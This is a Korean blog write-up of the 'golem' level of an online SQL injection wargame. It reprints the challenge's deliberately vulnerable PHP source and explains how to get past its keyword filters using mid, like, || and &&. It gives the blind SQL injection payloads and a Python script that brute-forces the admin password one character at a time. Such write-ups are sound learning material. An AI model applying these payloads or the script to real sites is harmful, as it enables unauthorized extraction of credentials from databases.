본문 바로가기
war game/웹 워게임(los)

load of sql inejction golem

by 강깅꽁 2016. 9. 14.
반응형

<?php 
  
include "../config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  if(
preg_match('/or|and|substr\(|=/i'$_GET[pw])) exit("HeHe"); 
  
$query "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>"
   
  
$_GET[pw] = addslashes($_GET[pw]); 
  
$query "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 
  
highlight_file(__FILE__); 
?>

소스코드 분석

기존의 blind sql inection에서 substr 함수를 필터링 하였다.

또한 = 이 막혀 있다. 따라서 

length(pw)=8 같은 페이로드로 비밀번호의 길이를 알아 낼 수 없다.

or,and는 다른 것으로 대체 가능하다고 앞에서 설명하였다..


풀이

substr은 mid,substring라는 함수로 대체 가능하다.

=은 like라는 sql언어로 대체가 가능하다.

즉 페이로드를 

pw=' || id like 'admin' && length(pw) like 9#

와 같이 짜면 된다.


비밀번호 찾는 페이로드는

pw=' || id like 'admin' &&ascii(mid(pw,1,1))>50#과 같이 해서 찾으면 된다.



파이썬 코드

import requests

import re

custom_headers = {

   'User-Agent': 'Dalvik/2.1.0',

   'Host': 'los.sandbox.cash',

   'Connection': 'Keep-Alive',

        'Cookie': '__cfduid=ded2179a317b40c718482d2535a9b2a2b1472712358; PHPSESSID=3sg1cotftroqovpkgsq466rri1'

}


''' #r = requests.get("http://los.sandbox.cash/chall/orc_c6199859b81e3a30d63d948875f6a3dd.php?pw=%27%20||id=%27admin%27%20ascii(substr(pw,1,1))%20=%2750",headers=custom_headers) '''

key=0

id=''

for i in range(1,100):

    head1="http://los.sandbox.cash/chall/golem_9433f16f7a3899d7cf3fe48330f22018.php?pw=%27%20||id like 'admin'%26%26length(pw)like "

    head2="%d %%23" % i

    print head1+head2

    r=requests.get(head1+head2,headers=custom_headers)

    aa=''

    aa=r.content

    r=aa.find("Hello admin")

    if r>0:

        key=i

        print ("find")

        break



print "key length is %d" % key



for i in range(1,key+1):

    for j in range(36,127):

        head1="http://los.sandbox.cash/chall/golem_9433f16f7a3899d7cf3fe48330f22018.php?pw=%27%20||id like 'admin' %26%26%20ascii(mid(pw,"

        head2="%d" % i

        head3=",1))%20like "

        head4="%d %%23" % j

        print head1+head2+head3+head4

        r=requests.get(head1+head2+head3+head4,headers=custom_headers)

        aa=''

        aa=r.content

        r=aa.find("Hello admin")

        if r>0:

            id+= chr(j)

            print ("find %s" % id)

            break



print "key is %s" %(id)